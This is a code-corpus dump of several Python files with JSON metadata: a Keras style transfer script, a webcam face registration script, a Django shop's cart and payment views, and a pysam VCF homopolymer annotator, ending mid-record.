sys.path.append(\"./libs/GPUtil/GPUtil\")\n import GPUtil\n\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n gpus = GPUtil.getAvailable(order=\"first\", limit=1, maxLoad=.2, maxMemory=.2)\n if len(gpus) > 0:\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpus[0])\n else:\n print(\"No free GPU\")\n sys.exit(1)\n\n# Get image paths\ncontent_path = './main_hall.jpg'\nstyle_path = './starry_night.jpg'\n\n# Load image to get geometry\ntemp_img = kp.image.load_img(content_path)\nwidth, height = temp_img.size\n\n# fix the number of rows, while adapting the aspect ratio\nimg_rows = 400\nimg_cols = int(width * img_rows / height)\n\n# Load content image\ncontent_img = kp.image.load_img(content_path, target_size=(img_rows, img_cols))\ncontent_img = kp.image.img_to_array(content_img)\n\n# Load style image\nstyle_img = kp.image.load_img(style_path, target_size=(img_rows, img_cols))\nstyle_img = kp.image.img_to_array(style_img)\n\n# Subtract mean pixel value of\n# dataset used to train vgg19\n# from both content and style image\ncontent_img = np.expand_dims(pixel_means(content_img), axis=0)\nstyle_img = np.expand_dims(pixel_means(style_img), axis=0)\n\n# Define the layer outputs that we are interested in\ncontent_layers = ['block4_conv2']\n\n# Create content model\ncontent_model = create_model(content_img, content_layers)\n\n# Create style model\nstyle_layers = ['block1_relu1', 'block2_relu1', 'block3_relu1', 'block4_relu1', 'block5_relu1']\nstyle_model = create_model(style_img, style_layers)\n\n# Instantiate blend model\n# Note that the blend model input is same shape/size as content image\nblend_base_model = vgg.VGG19(input_tensor=kl.Input(shape=content_img.shape[1:]))\n\n# blend_outputs = content_outputs + style_outputs\nblend_outputs = [blend_base_model.get_layer(n).output for n in content_layers] + [blend_base_model.get_layer(n).output for n in style_layers]\n\nblend_model = km.Model(inputs=blend_base_model.inputs, outputs=blend_outputs)\n\n# Separate the model outputs into those intended for comparison with the content layer and the style layer\nblend_content_outputs = [blend_model.outputs[0]]\nblend_style_outputs = blend_model.outputs[1:]\n\ncontent_loss = content_layer_loss(content_model.output, blend_content_outputs[0])\n\ncontent_loss_evaluator = K.function([blend_model.input], [content_loss])\n\n# For a correctly implemented gram_matrix, the following code will produce 113934860.0\nfmap = content_model.output\n\ngram_matrix_evaluator = K.function([content_model.input], [gram_matrix(fmap)])\n\nstyle_loss = 0\nfor i in range(5):\n style_loss += 0.2 * style_layer_loss(style_model.output[i], blend_style_outputs[i])\n\nstyle_loss_evaluator = K.function([blend_model.input], [style_loss])\n\ntv_loss = K.tf.image.total_variation(blend_model.input)\n\n# Note: these parameters are arbitrarily chosen\nalpha = 5.0\nbeta = 1e4\ngamma = 1e-3\n\n# Calculate total loss as a paramterized lc of content loss, style loss, and total variation loss\ntotal_loss = alpha * content_loss + beta * style_loss + gamma * tv_loss\n\n# Create total loss evaluator\ntotal_loss_evaluator = K.function([blend_model.input], [total_loss])\n\n# Create loss and gradient evaluator.\n# Note that tensorflow performs automatic symbolic\n# differentiation on the given inputs\ngrads = K.gradients(total_loss, blend_model.input)[0]\nloss_and_grad_evaluator = K.function([blend_model.input], [total_loss, grads])\n\n# Generate random data and perform optimization\ninput_img = np.random.randn(1, img_rows, img_cols, 3)\nmy_evaluator = Evaluator(loss_and_grad_evaluator)\nblend_img = my_evaluator.optimize(input_img, img_rows, img_cols)\n\n# Once optimization is complete,\n# re-add band means we subtracted earlier,\n# cast to integer, clip values greater than 255\nblend_img = pixel_means(blend_img).astype(np.int32)\n\n# Display and save image.\nplt.imshow(blend_img)\nplt.show()\n", "sub_path": "neural_style_transfer.py", "file_name": "neural_style_transfer.py", "file_ext": "py", "file_size_in_byte": 5734, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "keras.backend.tf.reduce_sum", "line_number": 21, "usage_type": "call"}, {"api_name": "keras.backend.tf", "line_number": 21, "usage_type": "attribute"}, {"api_name": "keras.backend", "line_number": 21, "usage_type": "name"}, {"api_name": "keras.backend.tf.reshape", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.backend.tf", "line_number": 45, "usage_type": "attribute"}, {"api_name": "keras.backend", "line_number": 45, "usage_type": "name"}, {"api_name": "keras.backend.tf.tensordot", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.backend.tf", "line_number": 47, "usage_type": "attribute"}, {"api_name": "keras.backend", "line_number": 47, "usage_type": "name"}, {"api_name": "keras.backend.tf.transpose", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.backend.tf.reduce_sum", "line_number": 59, "usage_type": "call"}, {"api_name": "keras.backend.tf", "line_number": 59, "usage_type": "attribute"}, {"api_name": "keras.backend", "line_number": 59, "usage_type": "name"}, {"api_name": "vgg.VGG19", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 74, "usage_type": "name"}, {"api_name": "keras.backend.tf.Variable", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.backend.tf", "line_number": 74, "usage_type": "attribute"}, {"api_name": "keras.backend", "line_number": 74, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 75, "usage_type": "name"}, {"api_name": "sys.path.append", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 100, "usage_type": "attribute"}, {"api_name": "GPUtil.getAvailable", "line_number": 101, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 103, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 106, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 113, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 113, "usage_type": "attribute"}, {"api_name": "keras.preprocessing", "line_number": 113, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 121, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 121, "usage_type": "attribute"}, {"api_name": "keras.preprocessing", "line_number": 121, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 122, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 122, "usage_type": "attribute"}, {"api_name": "keras.preprocessing", "line_number": 122, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.load_img", "line_number": 125, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 125, "usage_type": "attribute"}, {"api_name": "keras.preprocessing", "line_number": 125, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 126, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 126, "usage_type": "attribute"}, {"api_name": "keras.preprocessing", "line_number": 126, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 132, "usage_type": "call"}, {"api_name": "vgg.VGG19", "line_number": 146, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 146, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 146, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 151, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 151, "usage_type": "name"}, {"api_name": "keras.backend.function", "line_number": 159, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 159, "usage_type": "name"}, {"api_name": "keras.backend.function", "line_number": 164, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 164, "usage_type": "name"}, {"api_name": "keras.backend.function", "line_number": 170, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 170, "usage_type": "name"}, {"api_name": "keras.backend.tf.image.total_variation", "line_number": 172, "usage_type": "call"}, {"api_name": "keras.backend.tf", "line_number": 172, "usage_type": "attribute"}, {"api_name": "keras.backend", "line_number": 172, "usage_type": "name"}, {"api_name": "keras.backend.function", "line_number": 183, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 183, "usage_type": "name"}, {"api_name": "keras.backend.gradients", "line_number": 188, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 188, "usage_type": "name"}, {"api_name": "keras.backend.function", "line_number": 189, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 189, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 192, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 199, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}]} +{"seq_id": "71011200", "text": "import argparse\n\nimport face_recognition\nimport numpy as np\nimport os\nimport cv2 as cv\n\n\ndef face_register():\n flag = False\n print(\"获取人脸中\")\n cap = cv.VideoCapture(0)\n cap.set(cv.CAP_PROP_FRAME_WIDTH, 640)\n cap.set(cv.CAP_PROP_FRAME_HEIGHT, 480)\n cap.set(cv.CAP_PROP_FPS, 30)\n while True:\n ret, image = cap.read()\n key = cv.waitKey(1) & 0xFF\n # 如果按下键盘的\"g\"字符，则开始保存人脸\n if key == ord(\"g\"):\n image_encoding = face_recognition.face_encodings(image)[0]\n if len(image_encoding) != 0:\n flag = True\n break\n else:\n print(\"没有检测到人脸\")\n elif key == 27:\n break\n cv.imshow(\"face_register\", image)\n cap.release()\n cv.destroyAllWindows()\n return image_encoding, flag\n\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-n\", \"--name\", required=True, help=\"请输入注册人的姓名：\")\nargs = vars(ap.parse_args())\nimage_encoding, flag = face_register()\nif flag:\n feature_name = args[\"name\"] + \".npy\"\n feature_path = os.path.join(\"./\", feature_name)\n np.save(feature_path, image_encoding)\n print(\"已保存人脸\")\n", "sub_path": "code/face/face_register.py", "file_name": "face_register.py", "file_ext": "py", "file_size_in_byte": 1227, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.VideoCapture", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.waitKey", "line_number": 18, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 31, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "437494842", "text": "from django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic import TemplateView, ListView, DetailView, UpdateView, CreateView, DeleteView, View\nfrom django.utils import timezone\nfrom .forms import CheckOutForm, PaymentForm\nfrom .models import Item, OrderItem, Order, Billing_Address, Category\nfrom .keys import phone_number\nfrom mpesa.models import Payment\n# Create your views here.\n\n\nclass IndexView(ListView):\n model = Item\n paginate_by = 8\n template_name = 'shop/home-page.html'\n queryset=Item.objects.all()\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n context['categories']= Category.objects.all()\n return context\n\n\n\nclass checkoutView(View):\n def get(self, *args, **kwargs):\n form = CheckOutForm()\n order = Order.objects.get(user=self.request.user, ordered=False)\n context = {\n \"form\": form,\n 'order': order\n }\n return render(self.request, 'shop/checkout-page.html', context)\n\n def post(self, *args, **kwargs):\n form = CheckOutForm(self.request.POST or None)\n try:\n order = Order.objects.get(user=self.request.user, ordered=False)\n if form.is_valid():\n street_address = form.cleaned_data.get(\"street_address\")\n apartment_address = form.cleaned_data.get(\n \"apartment_address\")\n county = form.cleaned_data.get(\"county\")\n town = form.cleaned_data.get(\"town\")\n zip = form.cleaned_data.get(\"zip\")\n # TODO: add functionality to these fields\n # same_shipping_address = form, form.cleaned_data.get(\n # \"same_shipping_address\")\n # save_info = form, form.cleaned_data.get(\"save_info\")\n payment_option =form.cleaned_data.get(\n \"payment_option\")\n billing_address = Billing_Address(\n user=self.request.user,\n street_address=street_address,\n apartment_address=apartment_address,\n county=county,\n town=town,\n zip=zip\n )\n billing_address.save()\n order.billing_address = billing_address\n order.save()\n # TODO: add a redirect to the selected payment option\n messages.success(self.request, \"successfully submitted info\")\n return redirect(\"shop:payment\", payment_option)\n messages.warning(self.request, \"Failed Process\")\n return redirect(\"shop:checkout-page\")\n except ObjectDoesNotExist:\n messages.error(self.request, \"you dont have an active cart\")\n return redirect(\"shop:cart\")\n\n\nclass PaymentView(View):\n def get(self, *args, **kwargs):\n malipo = PaymentForm()\n context = {\n \"form\": malipo\n }\n return render(self.request, 'shop/payment.html', context)\n\n def post(self, *args, **kwargs):\n malipo= PaymentForm(self.request.POST or None)\n try:\n order = Order.objects.get(user=self.request.user, ordered=False)\n if malipo.is_valid():\n phone_number = malipo.cleaned_data.get(\"phone_number\")\n payment= Payment(\n user=self.request.user,\n phone_number=phone_number,\n amount=order.get_total()\n )\n payment.save()\n order_items=order.items.all()\n order_items.update(ordered=True)\n for item in order_items:\n item.save()\n \n order.ordered=True \n order.save()\n messages.success(self.request, \"Successfully sent Money to Vista\")\n return redirect(\"shop:home\")\n messages.warning(self.request, \"Failed payment Process\")\n return redirect(\"shop:payment\")\n except ObjectDoesNotExist:\n messages.error(self.request, \"you dont have an active cart\")\n return redirect(\"shop:payment\")\n \n\n\nclass ItemDetailView(DetailView):\n model = Item\n template_name = 'shop/product.html'\n\n\nclass cartView(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n try:\n order = Order.objects.get(user=self.request.user, ordered=False)\n context = {\n 'object': order\n }\n return render(self.request, 'shop/cart.html', context)\n except ObjectDoesNotExist:\n messages.error(self.request, \"you dont have an active cart\")\n return redirect(\"/\")\n\n\n@login_required\ndef add_to_cart(request, slug):\n item = get_object_or_404(Item, slug=slug)\n order_item, created = OrderItem.objects.get_or_create(\n item=item,\n user=request.user,\n ordered=False\n )\n order_qs = Order.objects.filter(user=request.user, ordered=False)\n if order_qs.exists():\n order = order_qs[0]\n # check if the ordered item is in the order\n if order.items.filter(item__slug=item.slug).exists():\n order_item.quantity += 1\n order_item.save()\n messages.info(request, 'This Item Quantity Was Updated.')\n return redirect('shop:cart')\n else:\n order.items.add(order_item)\n messages.info(request, 'This Item Was Added To Your Cart.')\n return redirect('shop:cart')\n\n else:\n ordered_date = timezone.now()\n order = Order.objects.create(\n user=request.user, ordered_date=ordered_date)\n order.items.add(order_item)\n messages.info(request, 'This Item Was Added To Your Cart.')\n return redirect('shop:cart')\n\n\n@ login_required\ndef remove_from_cart(request, slug):\n item = get_object_or_404(Item, slug=slug)\n order_qs = Order.objects.filter(\n user=request.user,\n ordered=False\n )\n if order_qs.exists():\n order = order_qs[0]\n # chek if the ordered irem is in the order\n if order.items.filter(item__slug=item.slug).exists():\n order_item = OrderItem.objects.filter(\n item=item,\n user=request.user,\n ordered=False\n )[0]\n order.items.remove(order_item)\n order_item.delete()\n messages.info(request, 'This Item Was Removed From Your Cart.')\n return redirect('shop:cart')\n else:\n messages.info(request, 'This Item Was Not In Your Cart.')\n return redirect('shop:product', slug=slug)\n\n else:\n messages.info(request, 'You Do Not Have an Active Order')\n return redirect('shop:product', slug=slug)\n\n\n@ login_required\ndef remove_single_item_from_cart(request, slug):\n item = get_object_or_404(Item, slug=slug)\n order_qs = Order.objects.filter(\n user=request.user,\n ordered=False\n )\n if order_qs.exists():\n order = order_qs[0]\n # chek if the ordered irem is in the order\n if order.items.filter(item__slug=item.slug).exists():\n order_item = OrderItem.objects.filter(\n item=item,\n user=request.user,\n ordered=False\n )[0]\n if order_item.quantity != 0:\n order_item.quantity -= 1\n order_item.save()\n else:\n order_item.delete()\n messages.info(request, 'Item Updated.')\n return redirect('shop:cart')\n else:\n messages.info(request, 'This Item Was Not In Your Cart.')\n return redirect('shop:cart', slug=slug)\n else:\n messages.info(request, 'You Do Not Have an Active Order')\n return redirect('shop:cart', slug=slug)\n\ndef CategoryView(request, cats):\n product=Item.objects.all()\n categories=Category.objects.all()\n category=get_object_or_404(Category, slug=cats)\n product=product.filter(category=category)\n product_slider=product.order_by('id')[:5]\n context={\n \"category\":category,\n \"categories\":categories,\n \"product\":product,\n \"cats\": cats, \n \"product_slider\":product_slider\n }\n return render(request, 'shop/categorylist.html', context)", "sub_path": "shop/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8612, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.views.generic.ListView", "line_number": 15, "usage_type": "name"}, {"api_name": "models.Item", "line_number": 16, "usage_type": "name"}, {"api_name": "models.Item.objects.all", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Item.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "models.Item", "line_number": 19, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 22, "usage_type": "name"}, {"api_name": "django.views.generic.View", "line_number": 27, "usage_type": "name"}, {"api_name": "forms.CheckOutForm", "line_number": 29, "usage_type": "call"}, {"api_name": "models.Order.objects.get", "line_number": 30, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "forms.CheckOutForm", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Order.objects.get", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 40, "usage_type": "name"}, {"api_name": "models.Billing_Address", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 66, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 66, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 68, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 69, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 70, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 71, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 72, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 75, "usage_type": "name"}, {"api_name": "forms.PaymentForm", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 81, "usage_type": "call"}, {"api_name": "forms.PaymentForm", "line_number": 84, "usage_type": "call"}, {"api_name": "models.Order.objects.get", "line_number": 86, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 86, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 86, "usage_type": "name"}, {"api_name": "keys.phone_number", "line_number": 88, "usage_type": "name"}, {"api_name": "mpesa.models.Payment", "line_number": 89, "usage_type": "call"}, {"api_name": "keys.phone_number", "line_number": 91, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 102, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 103, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 104, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 104, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 105, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 106, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 107, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 107, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 108, "usage_type": "call"}, {"api_name": "django.views.generic.DetailView", "line_number": 112, "usage_type": "name"}, {"api_name": "models.Item", "line_number": 113, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 117, "usage_type": "name"}, {"api_name": "django.views.generic.View", "line_number": 117, "usage_type": "name"}, {"api_name": "models.Order.objects.get", "line_number": 120, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 120, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 120, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 124, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 125, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 126, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 126, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 127, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 132, "usage_type": "call"}, {"api_name": "models.Item", "line_number": 132, "usage_type": "argument"}, {"api_name": "models.OrderItem.objects.get_or_create", "line_number": 133, "usage_type": "call"}, {"api_name": "models.OrderItem.objects", "line_number": 133, "usage_type": "attribute"}, {"api_name": "models.OrderItem", "line_number": 133, "usage_type": "name"}, {"api_name": "models.Order.objects.filter", "line_number": 138, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 138, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 138, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 145, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 145, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 146, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 149, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 149, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 150, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 153, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 153, "usage_type": "name"}, {"api_name": "models.Order.objects.create", "line_number": 154, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 154, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 154, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 157, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 157, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 158, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 130, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 163, "usage_type": "call"}, {"api_name": "models.Item", "line_number": 163, "usage_type": "argument"}, {"api_name": "models.Order.objects.filter", "line_number": 164, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 164, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 164, "usage_type": "name"}, {"api_name": "models.OrderItem.objects.filter", "line_number": 172, "usage_type": "call"}, {"api_name": "models.OrderItem.objects", "line_number": 172, "usage_type": "attribute"}, {"api_name": "models.OrderItem", "line_number": 172, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 179, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 179, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 180, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 182, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 182, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 183, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 186, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 186, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 187, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 161, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 192, "usage_type": "call"}, {"api_name": "models.Item", "line_number": 192, "usage_type": "argument"}, {"api_name": "models.Order.objects.filter", "line_number": 193, "usage_type": "call"}, {"api_name": "models.Order.objects", "line_number": 193, "usage_type": "attribute"}, {"api_name": "models.Order", "line_number": 193, "usage_type": "name"}, {"api_name": "models.OrderItem.objects.filter", "line_number": 201, "usage_type": "call"}, {"api_name": "models.OrderItem.objects", "line_number": 201, "usage_type": "attribute"}, {"api_name": "models.OrderItem", "line_number": 201, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 211, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 211, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 212, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 214, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 214, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 215, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 217, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 217, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 218, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 190, "usage_type": "name"}, {"api_name": "models.Item.objects.all", "line_number": 221, "usage_type": "call"}, {"api_name": "models.Item.objects", "line_number": 221, "usage_type": "attribute"}, {"api_name": "models.Item", "line_number": 221, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 222, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 222, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 222, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 223, "usage_type": "call"}, {"api_name": "models.Category", "line_number": 223, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 233, "usage_type": "call"}]} +{"seq_id": "202410789", "text": "#!/usr/bin/env python2.7\n\nimport os, sys\nimport string\nimport ngb_functions\nfrom pysam import VariantFile\nfrom pysam import FastaFile\nfrom optparse import OptionParser\nfrom collections import defaultdict\nfrom collections import namedtuple\nfrom collections import OrderedDict\n\ndef run_process(opts, inputvcf):\n reference = opts.reference\n outputvcf = opts.output\n infoname = \"HOMOPOLYX\"\n maxbp = opts.maxpolypadding\n minbp = opts.minpolybp\n\n # STDERR\n sys.stderr.write(\"Maximum basepair of reference region around variant : \" + str(maxbp) + \"\\n\")\n sys.stderr.write(\"Minumum basepair of homopolymer detection : \" + str(minbp) + \"\\n\")\n\n # Load Reference Fasta\n genome = FastaFile(reference)\n\n # Open VCF\n vcf_in = VariantFile(inputvcf)\n\n # Add INFO to Header\n if not ngb_functions.vcfHeaderCheck(vcf_in.header.info, infoname):\n vcf_in.header.info.add(infoname,\".\",\"String\",\"Homepolymer Basepair Count\")\n\n # Write VCF\n vcf_out = VariantFile(outputvcf if outputvcf else '-','w',header=vcf_in.header)\n\n # Found count init\n homopolymer_cnt = 0\n\n # Fetch VCF Record\n for record in vcf_in.fetch():\n chrom = record.chrom\n pos = record.pos\n ref = record.ref\n alts = record.alts\n\n info_value_list = list()\n for alt in alts:\n ret = ngb_functions.pairdiff(ref,alt)\n if (ret['variant_type'] == 'ins' or ret['variant_type'] == 'del') and ret['diff_basepair_composition_count'] == 1:\n diffbasepair = ret['diff_basepair_composition'][0]\n\n match_cnt = 0\n around_sequence = (genome.fetch(chrom,pos,pos+maxbp)).upper()\n for seq in around_sequence:\n if diffbasepair == seq:\n match_cnt += 1\n else:\n break\n\n if match_cnt >= int(minbp):\n info_value_list.append(match_cnt)\n\n if info_value_list != []:\n info_value = ','.join(str(e) for e in info_value_list)\n record.info[infoname] = info_value\n homopolymer_cnt += 1\n\n vcf_out.write(record)\n\n sys.stderr.write(\"Found homopolymer(s) : \" + str(homopolymer_cnt) + \"\\n\")\n\n\nif __name__ == '__main__':\n usage = \"\"\"usage: %prog [options] \"\"\"\n parser = OptionParser(usage=usage)\n parser.add_option(\"-o\", \"--output\", dest=\"output\", help=\"Output VCF File (default : stdout)\", default=\"\")\n parser.add_option(\"-r\", \"--reference\", dest=\"reference\", help=\"Reference Fasta (with faidx)\", default=\"\")\n parser.add_option(\"-m\", \"--max-homopoly-padding\", dest=\"maxpolypadding\", help=\"Maximum bp of reference region (default : 50)\", default=50)\n parser.add_option(\"-p\", \"--min-homopoly-bp\", dest=\"minpolybp\", help=\"Minimum bp of homopolymer (default : 5)\", default=5)\n\n (options, args) = parser.parse_args()\n if len(args) == 0 or len(args) < 1 or options.reference == '':\n parser.print_help()\n sys.exit(1)\n\n original_vcf = args[0]\n run_process(options, original_vcf)\n", "sub_path": "pipelines/utils/ngb_addHomoPolymerInfo.py", "file_name": "ngb_addHomoPolymerInfo.py", "file_ext": "py", "file_size_in_byte": 3082, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.stderr.write", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 21, "usage_type": "attribute"}, 